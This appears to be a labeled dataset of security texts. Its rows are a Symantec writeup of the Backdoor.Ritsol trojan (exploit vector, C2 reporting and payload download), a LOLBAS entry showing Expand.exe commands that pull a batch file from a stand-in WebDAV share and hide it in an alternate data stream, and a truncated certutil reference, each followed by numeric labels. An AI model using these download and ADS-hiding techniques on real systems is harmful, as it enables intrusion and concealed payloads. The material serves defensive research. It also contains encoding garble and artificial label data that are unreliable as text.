Cloud Service for Email Email Security Family Email Security.cloud Email Threat Detection and Response Identity Family VIP Security without compromise: the broadest, deepest protection for the public cloud Learn More Services Services Cyber Security Services Managed Security Services - Threat Monitoring DeepSight Intelligence Technical Intelligence Adversary Intelligence Incident Response Services Emergency Response Retainers and Response Readiness Managed Endpoint Detection and Response Service Other Services Consulting Services Education Services Premium Support Find Out Why Symantec is a Gartner MQ Leader 15 years running Read the Report Business Security Business Security Products Endpoint Protection Cloud Endpoint Protection Cloud Server Drive Encryption Endpoint Protection Small Business Edition Pricing Learn My Account Shop Online Welcome to the New Symantec Business Security Experience! Shopping for the right business products and managing your account is now easier than ever. Shop Now Solutions Solutions Home Topics Topics Industries Industries Government Government Cloud Cloud Topics Topics Advanced Threat Protection Cloud Security Election Security GDPR & Data Privacy Internet of Things (IoT) Security Office 365 Security Secure Access Zero Trust Security Symantec Internet of Things (IOT) Security Unveiling the industry\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s first neural network to protect critical infrastructure from cyber warfare Learn More Email is still the #1 attack vector\xc3\xa2\xe2\x82\xac\xe2\x80\x9dand it\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s your job to secure Office 365. Now What? View the Checklist Industry Solutions Industry Solutions Automotive Education Financial Services Global Service Providers Industrial Control Systems Healthcare Retail Cyber Security and Healthcare: An Evolving Understanding of Risk An ISTR Executive Healthcare Summary for Healthcare Professionals Read the Summary Government Solutions Government Solutions Federal Government State & Local Election Security 2018 Democracy is impossible without cyber security The good news? It\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s not too late to take basic steps to preserve the integrity of our elections\xc3\xa2\xe2\x82\xac\xe2\x80\x9dright now Learn More Cloud Solutions Cloud Solutions Amazon Web Services Oracle Cloud AWS Security Best Practices Guide and Configuration Checklist Symantec has worked together with AWS to develop an essential guide to AWS security Download Now Support Center Support Center Home Technical Support Technical Support Symantec Connect Symantec Connect Manage Your Product Manage Your Product Training Training Norton Support Technical Support Technical Support Product A-Z MySymantec Licensing Portal Symantec Earns TSIA Global Rated Outstanding, Assisted & Self Service Support Certification Learn More Symantec Connect Forums Blogs User Groups How to Find a Symantec Product Forum This two-step guide helps you find product support and information in the Connect user community Read the Guide Manage Your Product Maintenance Licensing Information Getting Started Renewals Software Upgrades Policies Connect User Community A peer-to-peer community for Symantec business customers, partners, and employees Join the Conversation Training Training Courses Certification E-Library Security Awareness Service Symantec Certification Validate your investment in training and experience, and boost your credibility today Learn More Security Center Security Center Home Updates Updates Advisories Advisories Publications Publications Tools Tools Topics Topics Updates Updates Virus Definitions & Updates Threats Risks Vulnerabilities 2019 Internet Security Threat Report Formjacking. Targeted Attacks. Living off the Land. Coming for Your Business. Read the Report Cloud Security Threat Report (CSTR) Adapting to the new reality of evolving cloud threats. Read the Report Advisories Advisories Symantec Security Advisories Analysis from Symantec\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Global Threat Intelligence Team Unparalleled understanding and commentary on the cyber threats affecting businesses today Stay Informed Publications Publications ISTR CSTR Blogs Monthly Threat Report Endpoint Protection Mobile Threat Reports Security White Papers Research Labs 2019 Internet Security Threat Report Formjacking. Targeted Attacks. Living off the Land. Coming for Your Business. Read the Report Cloud Security Threat Report (CSTR) Adapting to the new reality of evolving cloud threats. \xc3\x82\xc2 Read the Report Tools Tools Removal Tools Spyware Removal Treating Infected Systems Legitimate Files in Quarantine Symantec Cyber Security Brief Podcast Cyber Security news and analysis by Symantec threat researchers Listen and Subscribe Topics Topics Ransomware Cyber Criminals Ramp Up Attacks on Trusted Software and Supply Chains Learn about this year\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Internet Security Threat Report from Symantec Read the Blog Blogs Blogs Home Blogs Blogs Categories Categories Threat Intelligence Featured Stories Expert Perspectives Product Insights Corporate Responsibility Diversity & Inclusion Symantec Connect Cyber Criminals Ramp Up Attacks on Trusted Software and Supply Chains Learn about this year\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Internet Security Threat Report from Symantec Read the Blog Partner Partners Home Partner with Symantec Partner with Symantec PartnerNet PartnerNet TIPP TIPP Partner with Symantec Partner with Symantec Find a Partner Become a Partner Product Resources for Partners Sign in to PartnerNet Sign in to TIPP Contact Partner Service Contact Partner Service with questions about partnering opportunities and your existing business with Symantec Learn More PartnerNet PartnerNet My Dashboard Products Marketing Partner Support Center Training Other Resources Financial Benefits Partner Licensing Partner Renewal Infrastructure Attacks and Stealthy Mining\xc3\xa2\xe2\x82\xac\xe2\x80\x9dThreats Go Big and Small Read the Report TIPP TIPP My Dashboard Marketing TIPP Support Center Infrastructure Attacks and Stealthy Mining\xc3\xa2\xe2\x82\xac\xe2\x80\x9dThreats Go Big and Small Read the Report United States / English Sign In/Register Hi My Account Log out Security Center / Backdoor.Ritsol Backdoor.Ritsol Printer Friendly Page Summary Technical Description Removal Discovered: May 15, 2012 Updated: June 08, 2012 2:14:53 PM Type: Trojan Infection Length: 23,040 bytes Systems Affected: Windows CVE References: CVE-2012-0779 Backdoor.Ritsol is a Trojan horse that opens a back door on the compromised computer. Antivirus Protection Dates Initial Rapid Release version May 15, 2012 revision 016 Latest Rapid Release version May 07, 2019 revision 006 Initial Daily Certified version May 15, 2012 revision 017 Latest Daily Certified version May 07, 2019 revision 008 Initial Weekly Certified release date May 16, 2012 Click here for a more detailed description of Rapid Release and Daily Certified virus definitions. Technical Description The Trojan may arrive on the computer by exploiting the following vulnerability: Adobe Flash Player CVE-2012-0779 Object Type Confusion Remote Code Execution Vulnerability (CVE-2012-0779) When the Trojan is executed, it sends information about the compromised computer to the following location: [http://]dextsolution.com/register/log[REMOVED] Next, the Trojan downloads a configuration file from the following location: [http://]dextsolution.com/register/log[REMOVED] The Trojan then downloads and executes a file from a URL specified in the configuration file. Recommendations Symantec Security Response encourages all users and administrators to adhere to the following basic security ""best practices"": Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world. Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised. Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application. Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available. Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared. Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack. If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied. Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services. Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files. Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media. Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched. If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to ""Hidden"" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to ""Unauthorized"", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources. For further information on the terms used in this document, please refer to the Security Response glossary. Removal You may have arrived at this page either because you have been alerted by your Symantec product about this risk, or you are concerned that your computer has been affected by this risk. Before proceeding further we recommend that you run a full system scan . If that does not resolve the problem you can try one of the options available below. FOR NORTON USERS If you are a Norton product user, we recommend you try the following resources to remove this risk. Removal Tool Run Norton Power Eraser (NPE) Norton Power Eraser did not remove this risk If you have an infected Windows system file, you may need to replace it using the Windows installation CD . How to reduce the risk of infection The following resources provide further information and best practices to help reduce the risk of infection. Operating system updates to fix vulnerabilities File sharing protection Disable Autorun (CD/USB) Best practices for instant messaging Best practices for browsing the Web Best practices for email FOR BUSINESS USERS If you are a Symantec business product user, we recommend you try the following resources to remove this risk. Identifying and submitting suspect files Submitting suspicious files to Symantec allows us to ensure that our protection capabilities keep up with the ever-changing threat landscape. Submitted files are analyzed by Symantec Security Response and, where necessary, updated definitions are immediately distributed through LiveUpdate\xc3\xa2\xe2\x80\x9e\xc2\xa2 to all Symantec end points. This ensures that other computers nearby are protected from attack. The following resources may help in identifying suspicious files for submission to Symantec. Locate a sample of a threat Submit a suspicious file to Symantec Removal Tool Run Symantec Power Eraser in Symantec Help (SymHelp) About Symantec Power Eraser Symantec Power Eraser User Guide If you have an infected Windows system file, you may need to replace it using the Windows installation CD . How to reduce the risk of infection The following resource provides further information and best practices to help reduce the risk of infection. Protecting your business network MANUAL REMOVAL The following instructions pertain to all current Symantec antivirus products. 1. Performing a full system scan How to run a full system scan using your Symantec product 2. Restoring settings in the registry Many risks make modifications to the registry, which could impact the functionality or performance of the compromised computer. While many of these modifications can be restored through various Windows components, it may be necessary to edit the registry. See in the Technical Details of this writeup for information about which registry keys were created or modified. Delete registry subkeys and entries created by the risk and return all modified registry entries to their previous values. Writeup By: Fergal Ladley Information for Enterprise Business Partners Consumer (Norton) Our Offerings Products Products A-Z Services Solutions Buying Programs Connect with us Support Connect Communities Security Center Find a Partner Events Webcasts Contact Us About Symantec Blogs Customer Success Center Industry Accolades Newsroom Analyst Relations Careers Investor Relations Corporate Responsibility Privacy \xc3\xa2\xe2\x82\xac\xe2\x80\x9c GDPR Customer Assurance Portal Symantec Ventures CustomerOne Acquisitions Fireglass ID Analytics LifeLock Luminate Skycure \xc2\xa9 1995\xe2\x80\x932019 Symantec Corporation About Symantec Careers News Sitemap Legal Privacy Cookies Contact Us \xc3\xa2\xc5\x93\xe2\x80\xa2","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"expand | LOLBAS .. / Expand.exe Star Download Copy Alternate data streams Binary that expands one or more compressed files Paths: C:\\Windows\\System32\\Expand.exe C:\\Windows\\SysWOW64\\Expand.exe Resources: https://twitter.com/infosecn1nja/status/986628482858807297 https://twitter.com/Oddvarmoe/status/986709068759949319 Acknowledgement: Rahmat Nurfauzi - @infosecn1nja Oddvar Moe - @oddvarmoe Detection: Download Copies source file to destination. expand \\\\webdav\\folder\\file.bat c:\\ADS\\file.bat Usecase:Use to copies the source file to the destination file Privileges required:User OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Mitre:T1105 Copy Copies source file to destination. expand c:\\ADS\\file1.bat c:\\ADS\\file2.bat Usecase:Copies files from A to B Privileges required:User OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Mitre:T1105 Alternate data streams Copies source file to destination Alternate Data Stream (ADS) expand \\\\webdav\\folder\\file.bat c:\\ADS\\file.txt:file.bat Usecase:Copies files from A to B Privileges required:User OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Mitre:T1096","0","0","0","0","0","1","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0" -"Certutil | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Certutil 08/31/2016 36 minutes to read In this article \xc2 Applies To: Windows Server 2012, Windows 8 Certutil.exe is a command-line program that is installed as part of Certificate Services. You can use Certutil.exe to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains. When certutil is run on a certification authority without additional parameters, it displays the current certification authority configuration. When cerutil is run on a non-certification authority, the command defaults to running the certutil -dump verb. Warning Earlier versions of certutil may not provide all of the options that are described in this document. You can see all the options that a specific version of certutil provides by running the commands shown in the Syntax notations section. Menu The major sections in this document are: Verbs Syntax notations Options Additional certutil examples Verbs The following table describes the verbs that can be used with the certutil command. Verbs Description -dump Dump configuration information or files -asn Parse ASN.1 file -decodehex-decodehex Decode hexadecimal-encoded file -decode Decode a Base64-encoded file -encode Encode a file to Base64 -deny Deny a pending certificate request -resubmit Resubmit a pending certificate request -setattributes Set attributes for a pending certificate request -setextension Set an extension for a pending certificate request -revoke Revoke a certificate -isvalid Display the disposition of the current certificate -getconfig Get the default configuration string -ping Attempt to contact the Active Directory Certificate Services Request interface -pingadmin Attempt to contact the Active Directory Certificate Services Admin interface -CAInfo Display information about the certification authority -ca.cert Retrieve the certificate for the certification authority -ca.chain Retrieve the certificate chain for the certification authority -GetCRL Get a certificate revocation list (CRL) -CRL Publish new certificate revocation lists (CRLs) [or only delta CRLs] -shutdown Shutdown Active Directory Certificate Services -installCert Install a certification authority certificate -renewCert Renew a certification authority certificate -schema Dump the schema for the certificate -view Dump the certificate view -db Dump the raw database -deleterow Delete a row from the server database -backup Backup Active Directory Certificate Services -backupDB Backup the Active Directory Certificate Services database -backupKey Backup the Active Directory Certificate Services certificate and private key -restore Restore Active Directory Certificate Services -restoreDB Restore the Active Directory Certificate Services database -restoreKey Restore the Active Directory Certificate Services certificate and private key -importPFX Import certificate and private key -dynamicfilelist Display a dynamic file list -databaselocations Display database locations -hashfile Generate and display a cryptographic hash over a file -store Dump the certificate store -addstore Add a certificate to the store -delstore Delete a certificate from the store -verifystore Verify a certificate in the store -repairstore Repair a key association or update certificate properties or the key security descriptor -viewstore Dump the certificates store -viewdelstore Delete a certificate from the store -dsPublish Publish a certificate or certificate revocation list (CRL) to Active Directory -ADTemplate Display AD templates -Template Display certificate templates -TemplateCAs Display the certification authorities (CAs) for a certificate template -CATemplates Display templates for CA -SetCASites Manage Site Names for CAs -enrollmentServerURL Display, add or delete enrollment server URLs associated with a CA -ADCA Display AD CAs -CA Display Enrollment Policy CAs -Policy Display Enrollment Policy -PolicyCache Display or delete Enrollment Policy Cache entries -CredStore Display, add or delete Credential Store entries -InstallDefaultTemplates Install default certificate templates -URLCache Display or delete URL cache entries -pulse Pulse auto enrollment events -MachineInfo Display information about the Active Directory machine object -DCInfo Display information about the domain controller -EntInfo Display information about an enterprise CA -TCAInfo Display information about the CA -SCInfo Display information about the smart card -SCRoots Manage smart card root certificates -verifykeys Verify a public or private key set -verify Verify a certificate, certificate revocation list (CRL), or certificate chain -verifyCTL Verify AuthRoot or Disallowed Certificates CTL -sign Re-sign a certificate revocation list (CRL) or certificate -vroot Create or delete web virtual roots and file shares -vocsproot Create or delete web virtual roots for an OCSP web proxy -addEnrollmentServer Add an Enrollment Server application -deleteEnrollmentServer Delete an Enrollment Server application -addPolicyServer Add a Policy Server application -deletePolicyServer Delete a Policy Server application -oid Display the object identifier or set a display name -error Display the message text associated with an error code -getreg Display a registry value -setreg Set a registry value -delreg Delete a registry value -ImportKMS Import user keys and certificates into the server database for key archival -ImportCert Import a certificate file into the database -GetKey Retrieve an archived private key recovery blob -RecoverKey Recover an archived private key -MergePFX Merge PFX files -ConvertEPF Convert a PFX file into an EPF file -? Displays the list of verbs -\xc2 -? Displays help for the verb specified. -? -v Displays a full list of verbs and Return to Menu Syntax notations For basic command line syntax, run certutil -? For the syntax on using certutil with a specific verb, run certutil\xc2 \xc2 -? To send all of the certutil syntax into a text file, run the following commands: certutil -v -? > certutilhelp.txt notepad certutilhelp.txt The following table describes the notation used to indicate command-line syntax. Notation Description Text without brackets or braces Items you must type as shown Placeholder for which you must supply a value [Text inside square brackets] Optional items {Text inside braces} Set of required items; choose one Vertical bar (|) Separator for mutually exclusive items; choose one Ellipsis (\xe2\x80\xa6) Items that can be repeated Return to Menu -dump CertUtil [Options] [-dump] CertUtil [Options] [-dump] File Dump configuration information or files [-f] [-silent] [-split] [-p Password] [-t Timeout] Return to Menu -asn CertUtil [Options] -asn File [type] Parse ASN.1 file type: numeric CRYPT_STRING_* decoding type Return to Menu -decodehex CertUtil [Options] -decodehex InFile OutFile [type] type: numeric CRYPT_STRING_* encoding type [-f] Return to Menu -decode CertUtil [Options] -decode InFile OutFile Decode Base64-encoded file [-f] Return to Menu -encode CertUtil [Options] -encode InFile OutFile Encode file to Base64 [-f] [-UnicodeText] Return to Menu -deny CertUtil [Options] -deny RequestId Deny pending request [-config Machine\\CAName] Return to Menu -resubmit CertUtil [Options] -resubmit RequestId Resubmit pending request [-config Machine\\CAName] Return to Menu -setattributes CertUtil [Options] -setattributes RequestId AttributeString Set attributes for pending request RequestId -- numeric Request Id of pending request AttributeString -- Request Attribute name and value pairs Names and values are colon separated. Multiple name, value pairs are newline separated. Example: ""CertificateTemplate:User\\nEMail:User@Domain.com"" Each ""\\n"" sequence is converted to a newline separator. [-config Machine\\CAName] Return to Menu -setextension CertUtil [Options] -setextension RequestId ExtensionName Flags {Long | Date | String | @InFile} Set extension for pending request RequestId -- numeric Request Id of a pending request ExtensionName -- ObjectId string of the extension Flags -- 0 is recommended. 1 makes the extension critical, 2 disables it, 3 does both. If the last parameter is numeric, it is taken as a Long. If it can be parsed as a date, it is taken as a Date. If it starts with '@', the rest of the token is the filename containing binary data or an ascii-text hex dump. Anything else is taken as a String. [-config Machine\\CAName] Return to Menu -revoke CertUtil [Options] -revoke SerialNumber [Reason] Revoke Certificate SerialNumber: Comma separated list of certificate serial numbers to revoke Reason: numeric or symbolic revocation reason 0: CRL_REASON_UNSPECIFIED: Unspecified (default) 1: CRL_REASON_KEY_COMPROMISE: Key Compromise 2: CRL_REASON_CA_COMPROMISE: CA Compromise 3: CRL_REASON_AFFILIATION_CHANGED: Affiliation Changed 4: CRL_REASON_SUPERSEDED: Superseded 5: CRL_REASON_CESSATION_OF_OPERATION: Cessation of Operation 6: CRL_REASON_CERTIFICATE_HOLD: Certificate Hold 8: CRL_REASON_REMOVE_FROM_CRL: Remove From CRL -1: Unrevoke: Unrevoke [-config Machine\\CAName] Return to Menu -isvalid CertUtil [Options] -isvalid SerialNumber | CertHash Display current certificate disposition [-config Machine\\CAName] Return to Menu -getconfig CertUtil [Options] -getconfig Get default configuration string [-config Machine\\CAName] Return to Menu -ping CertUtil [Options] -ping [MaxSecondsToWait | CAMachineList] Ping Active Directory Certificate Services Request interface CAMachineList -- Comma-separated CA machine name list For a single machine, use a terminating comma Displays the site cost for each CA machine [-config Machine\\CAName] Return to Menu -CAInfo CertUtil [Options] -CAInfo [InfoName [Index | ErrorCode]] Display CA Information InfoName -- indicates the CA property to display (see below). Use ""*"" for all properties. Index -- optional zero-based property index ErrorCode -- numeric error code [-f] [-split] [-config Machine\\CAName] InfoName argument syntax: file: File version product: Product version exitcount: Exit module count exit [Index]: Exit module description policy: Policy module description name: CA name sanitizedname: Sanitized CA name dsname: Sanitized CA short name (DS name) sharedfolder: Shared folder error1 ErrorCode: Error message text error2 ErrorCode: Error message text and error code type: CA type info: CA info parent: Parent CA certcount: CA cert count xchgcount: CA exchange cert count kracount: KRA cert count kraused: KRA cert used count propidmax: Maximum CA PropId certstate [Index]: CA cert certversion [Index]: CA cert version certstatuscode [Index]: CA cert verify status crlstate [Index]: CRL krastate [Index]: KRA cert crossstate+ [Index]: Forward cross cert crossstate- [Index]: Backward cross cert cert [Index]: CA cert certchain [Index]: CA cert chain certcrlchain [Index]: CA cert chain with CRLs xchg [Index]: CA exchange cert xchgchain [Index]: CA exchange cert chain xchgcrlchain [Index]: CA exchange cert chain with CRLs kra [Index]: KRA cert cross+ [Index]: Forward cross cert cross- [Index]: Backward cross cert CRL [Index]: Base CRL deltacrl [Index]: Delta CRL crlstatus [Index]: CRL Publish Status deltacrlstatus [Index]: Delta CRL Publish Status dns: DNS Name role: Role Separation ads: Advanced Server templates: Templates ocsp [Index]: OCSP URLs aia [Index]: AIA URLs cdp [Index]: CDP URLs localename: CA locale name subjecttemplateoids: Subject Template OIDs Return to Menu -ca.cert CertUtil [Options] -ca.cert OutCACertFile [Index] Retrieve the CA's certificate OutCACertFile: output file Index: CA certificate renewal index (defaults to most recent) [-f] [-split] [-config Machine\\CAName] Return to Menu -ca.chain CertUtil [Options] -ca.chain OutCACertChainFile [Index] Retrieve the CA's certificate chain OutCACertChainFile: output file Index: CA certificate renewal index (defaults to most recent) [-f] [-split] [-config Machine\\CAName] Return to Menu -GetCRL CertUtil [Options] -GetCRL OutFile [Index] [delta] Get CRL Index: CRL index or key index (defaults to CRL for newest key) delta: delta CRL (default is base CRL) [-f] [-split] [-config Machine\\CAName] Return to Menu -CRL CertUtil [Options] -CRL [dd:hh | republish] [delta] Publish new CRLs [or delta CRLs only] dd:hh -- new CRL validity period in days and hours republish -- republish most recent CRLs delta -- delta CRLs only (default is base and delta CRLs) [-split] [-config Machine\\CAName] Return to Menu -shutdown CertUtil [Options] -shutdown Shutdown Active Directory Certificate Services [-config Machine\\CAName] Return to Menu -installCert CertUtil [Options] -installCert [CACertFile] Install Certification Authority certificate [-f] [-silent] [-config Machine\\CAName] Return to Menu -renewCert CertUtil [Options] -renewCert [ReuseKeys] [Machine\\ParentCAName] Renew Certification Authority certificate Use -f to ignore an outstanding renewal request, and generate a new request. [-f] [-silent] [-config Machine\\CAName] Return to Menu -schema CertUtil [Options] -schema [Ext | Attrib | CRL] Dump Certificate Schema Defaults to Request and Certificate table Ext: Extension table Attrib: Attribute table CRL: CRL table [-split] [-config Machine\\CAName] Return to Menu -view CertUtil [Options] -view [Queue | Log | LogFail | Revoked | Ext | Attrib | CRL] [csv] Dump Certificate View Queue: Request queue Log: Issued or revoked certificates, plus failed requests LogFail: Failed requests Revoked: Revoked certificates Ext: Extension table Attrib: Attribute table CRL: CRL table csv: Output as Comma Separated Values To display the StatusCode column for all entries: -out StatusCode To display all columns for the last entry: -restrict ""RequestId==$"" To display RequestId and Disposition for three requests: -restrict ""RequestId>=37,RequestId<40"" -out ""RequestId,Disposition"" To display Row Ids and CRL Numbers for all Base CRLs: -restrict ""CRLMinBase=0"" -out ""CRLRowId,CRLNumber"" CRL To display Base CRL Number 3: -v -restrict ""CRLMinBase=0,CRLNumber=3"" -out ""CRLRawCRL"" CRL To display the entire CRL table: CRL Use ""Date[+|-dd:hh]"" for date restrictions Use ""now+dd:hh"" for a date relative to the current time [-silent] [-split] [-config Machine\\CAName] [-restrict RestrictionList] [-out ColumnList] Return to Menu -db CertUtil [Options] -db Dump Raw Database [-config Machine\\CAName] [-restrict RestrictionList] [-out ColumnList] Return to Menu -deleterow CertUtil [Options] -deleterow RowId | Date [Request | Cert | Ext | Attrib | CRL] Delete server database row Request: Failed and pending requests (submission date) Cert: Expired and revoked certificates (expiration date) Ext: Extension table Attrib: Attribute table CRL: CRL table (expiration date) To delete failed and pending requests submitted by January 22, 2001: 1/22/2001 Request To delete all certificates that expired by January 22, 2001: 1/22/2001 Cert To delete the certificate row, attributes and extensions for RequestId 37: 37 To delete CRLs that expired by January 22, 2001: 1/22/2001 CRL [-f] [-config Machine\\CAName] Return to Menu -backup CertUtil [Options] -backup BackupDirectory [Incremental] [KeepLog] Backup Active Directory Certificate Services BackupDirectory: directory to store backed up data Incremental: perform incremental backup only (default is full backup) KeepLog: preserve database log files (default is to truncate log files) [-f] [-config Machine\\CAName] [-p Password] Return to Menu -backupDB CertUtil [Options] -backupDB BackupDirectory [Incremental] [KeepLog] Backup Active Directory Certificate Services database BackupDirectory: directory to store backed up database files Incremental: perform incremental backup only (default is full backup) KeepLog: preserve database log files (default is to truncate log files) [-f] [-config Machine\\CAName] Return to Menu -backupKey CertUtil [Options] -backupKey BackupDirectory Backup Active Directory Certificate Services certificate and private key BackupDirectory: directory to store backed up PFX file [-f] [-config Machine\\CAName] [-p Password] [-t Timeout] Return to Menu -restore CertUtil [Options] -restore BackupDirectory Restore Active Directory Certificate Services BackupDirectory: directory containing data to be restored [-f] [-config Machine\\CAName] [-p Password] Return to Menu -restoreDB CertUtil [Options] -restoreDB BackupDirectory Restore Active Directory Certificate Services database BackupDirectory: directory containing database files to be restored [-f] [-config Machine\\CAName] Return to Menu -restoreKey CertUtil [Options] -restoreKey BackupDirectory | PFXFile Restore Active Directory Certificate Services certificate and private key BackupDirectory: directory containing PFX file to be restored PFXFile: PFX file to be restored [-f] [-config Machine\\CAName] [-p Password] Return to Menu -importPFX CertUtil [Options] -importPFX [CertificateStoreName] PFXFile [Modifiers] Import certificate and private key CertificateStoreName: Certificate store name. See -store. PFXFile: PFX file to be imported Modifiers: Comma separated list of one or more of the following: AT_SIGNATURE: Change the KeySpec to Signature AT_KEYEXCHANGE: Change the KeySpec to Key Exchange NoExport: Make the private key non-exportable NoCert: Do not import the certificate NoChain: Do not import the certificate chain NoRoot: Do not import the root certificate Protect: Protect keys with password NoProtect: Do not password protect keys Defaults to personal machine store. [-f] [-user] [-p Password] [-csp Provider] Return to Menu -dynamicfilelist CertUtil [Options] -dynamicfilelist Display dynamic file List [-config Machine\\CAName] Return to Menu -databaselocations CertUtil [Options] -databaselocations Display database locations [-config Machine\\CAName] Return to Menu -hashfile CertUtil [Options] -hashfile InFile [HashAlgorithm] Generate and display cryptographic hash over a file Return to Menu -store CertUtil [Options] -store [CertificateStoreName [CertId [OutputFile]]] Dump certificate store CertificateStoreName: Certificate store name. Examples: ""My"", ""CA"" (default), ""Root"", ""ldap:///CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?one?objectClass=certificationAuthority"" (View Root Certificates) ""ldap:///CN=CAName,CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?base?objectClass=certificationAuthority"" (Modify Root Certificates) ""ldap:///CN=CAName,CN=MachineName,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?certificateRevocationList?base?objectClass=cRLDistributionPoint"" (View CRLs) ""ldap:///CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?base?objectClass=certificationAuthority"" (Enterprise CA Certificates) ldap: (AD computer object certificates) -user ldap: (AD user object certificates) CertId: Certificate or CRL match token. This can be a serial number, an SHA-1 certificate, CRL, CTL or public key hash, a numeric cert index (0, 1, and so on), a numeric CRL index (.0, .1, and so on), a numeric CTL index (..0, ..1, and so on), a public key, signature or extension ObjectId, a certificate subject Common Name, an e-mail address, UPN or DNS name, a key container name or CSP name, a template name or ObjectId, an EKU or Application Policies ObjectId, or a CRL issuer Common Name. Many of these may result in multiple matches. OutputFile: file to save matching cert Use -user to access a user store instead of a machine store. Use -enterprise to access a machine enterprise store. Use -service to access a machine service store. Use -grouppolicy to access a machine group policy store. Examples: -enterprise NTAuth -enterprise Root 37 -user My 26e0aaaf000000000004 CA .11 [-f] [-enterprise] [-user] [-GroupPolicy] [-silent] [-split] [-dc DCName] Return to Menu -addstore CertUtil [Options] -addstore CertificateStoreName InFile Add certificate to store CertificateStoreName: Certificate store name. See -store. InFile: Certificate or CRL file to add to store. [-f] [-enterprise] [-user] [-GroupPolicy] [-dc DCName] Return to Menu -delstore CertUtil [Options] -delstore CertificateStoreName CertId Delete certificate from store CertificateStoreName: Certificate store name. See -store. CertId: Certificate or CRL match token. See -store. [-enterprise] [-user] [-GroupPolicy] [-dc DCName] Return to Menu -verifystore CertUtil [Options] -verifystore CertificateStoreName [CertId] Verify certificate in store CertificateStoreName: Certificate store name. See -store. CertId: Certificate or CRL match token. See -store. [-enterprise] [-user] [-GroupPolicy] [-silent] [-split] [-dc DCName] [-t Timeout] Return to Menu -repairstore CertUtil [Options] -repairstore CertificateStoreName CertIdList [PropertyInfFile | SDDLSecurityDescriptor] Repair key association or update certificate properties or key security descriptor CertificateStoreName: Certificate store name. See -store. CertIdList: comma separated list of Certificate or CRL match tokens. See -store CertId description. PropertyInfFile -- INF file containing external properties: [Properties] 19 = Empty ; Add archived property, OR: 19 = ; Remove archived property 11 = ""{text}Friendly Name"" ; Add friendly name property 127 = ""{hex}"" ; Add custom hexadecimal property _continue_ = ""00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f"" _continue_ = ""10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f"" 2 = ""{text}"" ; Add Key Provider Information property _continue_ = ""Container=Container Name&"" _continue_ = ""Provider=Microsoft Strong Cryptographic Provider&"" _continue_ = ""ProviderType=1&"" 